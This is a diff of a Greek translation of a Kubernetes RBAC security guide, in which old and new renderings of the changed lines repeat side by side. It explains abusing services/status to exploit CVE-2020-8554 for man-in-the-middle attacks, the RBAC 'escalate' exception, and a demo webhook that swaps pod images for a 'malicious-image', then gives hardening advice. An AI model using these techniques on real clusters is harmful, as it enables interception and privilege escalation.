Οι κύριοι που μπορούν να **τροποποιήσουν** **`services/status`** μπορεί να ρυθμίσουν το πεδίο `status.loadBalancer.ingress.ip` για να εκμεταλλευτούν το **μη διορθωμένο CVE-2020-8554** και να ξεκινήσουν **MiTM επιθέσεις κατά του cluster**. Οι περισσότερες μετρήσεις για το CVE-2020-8554 αποτρέπουν μόνο τις υπηρεσίες ExternalIP (σύμφωνα με [**αυτό**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Κατάσταση Κόμβων και Pods
@@ -488,7 +552,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
Αυτό το σύστημα διασφαλίζει ότι **οι χρήστες δεν μπορούν να αυξήσουν τα δικαιώματά τους τροποποιώντας ρόλους ή δεσμεύσεις ρόλων**. Η επιβολή αυτού του κανόνα συμβαίνει σε επίπεδο API, παρέχοντας μια προστασία ακόμη και όταν ο RBAC authorizer είναι ανενεργός.
Ο κανόνας stipulates ότι ένας **χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο εάν κατέχει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος**. Επιπλέον, το εύρος των υπαρχόντων δικαιωμάτων του χρήστη πρέπει να ευθυγραμμίζεται με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε σε επίπεδο cluster για ClusterRoles είτε περιορισμένο στην ίδια namespace (ή σε επίπεδο cluster) για Roles.
Ο κανόνας stipulates ότι ένας **χρήστης μπορεί να δημιουργήσει ή να ενημερώσει έναν ρόλο μόνο εάν κατέχει όλα τα δικαιώματα που περιλαμβάνει ο ρόλος**. Επιπλέον, το πεδίο των υπαρχόντων δικαιωμάτων του χρήστη πρέπει να ευθυγραμμίζεται με αυτό του ρόλου που προσπαθεί να δημιουργήσει ή να τροποποιήσει: είτε σε επίπεδο cluster για ClusterRoles είτε περιορισμένο στην ίδια namespace (ή σε επίπεδο cluster) για Roles.
> [!WARNING]
> Υπάρχει μια εξαίρεση στον προηγούμενο κανόνα. Εάν ένας κύριος έχει το **ρήμα `escalate`** πάνω σε **`roles`** ή **`clusterroles`** μπορεί να αυξήσει τα δικαιώματα των ρόλων και των clusterroles ακόμη και χωρίς να έχει τα δικαιώματα ο ίδιος.
@@ -544,7 +608,7 @@ add: ["NET_ADMIN"]
# securityContext:
# allowPrivilegeEscalation: true
```
Δείτε τα αρχεία καταγραφής του proxy:
Δείτε τα αρχεία καταγραφής του διακομιστή μεσολάβησης:
```bash
kubectl logs app -C proxy
```
@@ -575,7 +639,7 @@ kubectl get deploy,svc -n webhook-demo
kubectl run nginx --image nginx
kubectl get po -w
```
Όταν μπορείτε να δείτε το σφάλμα `ErrImagePull`, ελέγξτε το όνομα της εικόνας με μία από τις ερωτήσεις:
Όταν βλέπετε το σφάλμα `ErrImagePull`, ελέγξτε το όνομα της εικόνας με μία από τις ερωτήσεις:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
@@ -586,7 +650,7 @@ kubectl describe po nginx | grep "Image: "
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
Το σενάριο `./deploy.sh` δημιουργεί έναν μεταβαλλόμενο ελεγκτή admission webhook, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως καθορίζεται στις γραμμές διαμόρφωσής του, επηρεάζοντας τα αποτελέσματα που παρατηρούνται:
Το σενάριο `./deploy.sh` δημιουργεί έναν μεταβαλλόμενο ελεγκτή εισόδου webhook, ο οποίος τροποποιεί τα αιτήματα προς το Kubernetes API όπως καθορίζεται στις γραμμές ρύθμισης παραμέτρων του, επηρεάζοντας τα αποτελέσματα που παρατηρούνται:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -604,18 +668,18 @@ Value: "rewanthtammana/malicious-image",
## Καλές Πρακτικές
### **Απενεργοποίηση Αυτοματισμού των Tokens Λογαριασμού Υπηρεσίας**
### **Απενεργοποίηση Αυτόματης Τοποθέτησης Δεδομένων Λογαριασμού Υπηρεσίας**
- **Pods και Λογαριασμοί Υπηρεσίας**: Από προεπιλογή, τα pods τοποθετούν ένα token λογαριασμού υπηρεσίας. Για να ενισχυθεί η ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της λειτουργίας αυτοματισμού.
- **Pods και Λογαριασμοί Υπηρεσίας**: Από προεπιλογή, τα pods τοποθετούν ένα διακριτικό λογαριασμού υπηρεσίας. Για να ενισχυθεί η ασφάλεια, το Kubernetes επιτρέπει την απενεργοποίηση αυτής της αυτόματης τοποθέτησης.
- **Πώς να Εφαρμόσετε**: Ορίστε `automountServiceAccountToken: false` στη διαμόρφωση των λογαριασμών υπηρεσίας ή των pods από την έκδοση 1.6 του Kubernetes.
### **Περιοριστική Ανάθεση Χρηστών σε RoleBindings/ClusterRoleBindings**
- **Επιλεκτική Συμπερίληψη**: Βεβαιωθείτε ότι μόνο οι απαραίτητοι χρήστες περιλαμβάνονται σε RoleBindings ή ClusterRoleBindings. Ελέγχετε τακτικά και αφαιρείτε μη σχετικούς χρήστες για να διατηρείτε σφιχτή ασφάλεια.
### **Ρόλοι Ειδικά για Namespace Αντί Ρόλων Cluster-Wide**
### **Ρόλοι Ειδικών Χώρων Ονομάτων σε Σύγκριση με Ρόλους Παγκόσμιας Κλάσης**
- **Ρόλοι vs. ClusterRoles**: Προτιμήστε τη χρήση Ρόλων και RoleBindings για άδειες που σχετίζονται με namespace αντί για ClusterRoles και ClusterRoleBindings, που ισχύουν σε επίπεδο cluster. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει την έκταση των αδειών.
- **Ρόλοι vs. ClusterRoles**: Προτιμήστε τη χρήση Ρόλων και RoleBindings για άδειες ειδικών χώρων ονομάτων αντί για ClusterRoles και ClusterRoleBindings, που ισχύουν παγκοσμίως. Αυτή η προσέγγιση προσφέρει πιο λεπτομερή έλεγχο και περιορίζει την έκταση των αδειών.
### **Χρησιμοποιήστε αυτοματοποιημένα εργαλεία**